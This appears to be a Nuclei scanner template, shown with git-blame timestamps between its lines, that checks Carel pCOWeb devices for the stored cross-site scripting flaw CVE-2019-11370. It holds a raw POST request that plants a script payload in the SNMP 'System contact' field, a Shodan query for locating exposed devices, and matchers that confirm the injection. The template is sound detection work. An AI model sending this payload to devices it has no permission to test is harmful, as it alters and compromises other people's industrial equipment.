2022-07-30 12:03:57 +00:00
|
|
|
id: CVE-2019-11370
|
|
|
|
|
|
|
|
info:
|
2022-08-12 00:45:50 +00:00
|
|
|
name: Carel pCOWeb <B1.2.4 - Cross-Site Scripting
|
2022-07-30 12:03:57 +00:00
|
|
|
author: arafatansari
|
|
|
|
severity: medium
|
2022-07-30 17:56:20 +00:00
|
|
|
description: |
|
2022-08-12 00:45:50 +00:00
|
|
|
Carel pCOWeb prior to B1.2.4 is vulnerable to stored cross-site scripting, as demonstrated by the config/pw_snmp.html "System contact" field.
|
2022-07-30 12:03:57 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/46897
|
2022-07-30 17:56:20 +00:00
|
|
|
- https://github.com/nepenthe0320/cve_poc/blob/master/CVE-2019-11370
|
2022-08-01 11:32:31 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-11370
|
2022-08-02 09:31:02 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 5.4
|
|
|
|
cve-id: CVE-2019-11370
|
|
|
|
cwe-id: CWE-79
|
2022-08-01 11:32:31 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: http.html:"pCOWeb"
|
2022-08-02 09:31:02 +00:00
|
|
|
verified: "true"
|
2022-08-02 09:06:52 +00:00
|
|
|
tags: cve,cve2019,pcoweb,xss,carel
|
2022-07-30 12:03:57 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /config/pw_snmp_done.html HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-08-01 11:32:31 +00:00
|
|
|
%3Fscript%3Asetdb%28%27snmp%27%2C%27syscontact%27%29=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
|
2022-07-30 12:03:57 +00:00
|
|
|
|
|
|
|
- |
|
|
|
|
GET /config/pw_snmp.html HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2022-08-01 11:32:31 +00:00
|
|
|
req-condition: true
|
2022-07-30 12:03:57 +00:00
|
|
|
matchers:
|
2022-08-01 11:32:31 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'contains(body_2, "text/html")'
|
|
|
|
- status_code_2 == 200
|
|
|
|
- contains(body_2, 'value=\"\"><script>alert(document.domain)</script>\"></td>')
|
|
|
|
condition: and
|
2022-08-12 00:45:50 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/08/08
|